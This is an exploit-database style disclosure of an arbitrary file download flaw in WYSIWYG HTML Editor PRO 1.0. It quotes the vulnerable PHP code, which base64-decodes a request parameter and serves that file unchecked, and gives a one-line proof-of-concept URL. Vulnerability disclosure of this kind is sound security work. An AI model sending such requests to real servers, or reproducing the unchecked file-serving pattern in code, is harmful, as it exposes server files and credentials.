# # # # # # Exploit Title: WYSIWYG HTML Editor PRO 1.0 - Arbitrary File Download # Dork: N/A # Date: 28.08.2017 # Vendor Homepage: http://nelliwinne.net/ # Software Link: https://codecanyon.net/item/wysiwyg-html-editor-pro-php-based-editor-with-image-uploader-and-more/19012022 # Demo: http://codecanyon.nelliwinne.net/WYSIWYGEditorPRO/ # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The security obligation allows an attacker to arbitrary download files.. # # Vulnerable Source: # # ............. # <?php # $file = base64_decode($_GET['id']); # # if (file_exists($file)) { # header('Content-Description: File Transfer'); # header('Content-Type: application/octet-stream'); # header('Content-Disposition: attachment; filename="'.basename($file).'"'); # header('Expires: 0'); # header('Cache-Control: must-revalidate'); # header('Pragma: public'); # header('Content-Length: ' . filesize($file)); # readfile($file); # exit; # } # ?> # ............. # Proof of Concept: # # http://localhost/[PATH]/wysiwyg/download.php?id=[FILENAME_to_BASE64] # # Etc... # # # # #
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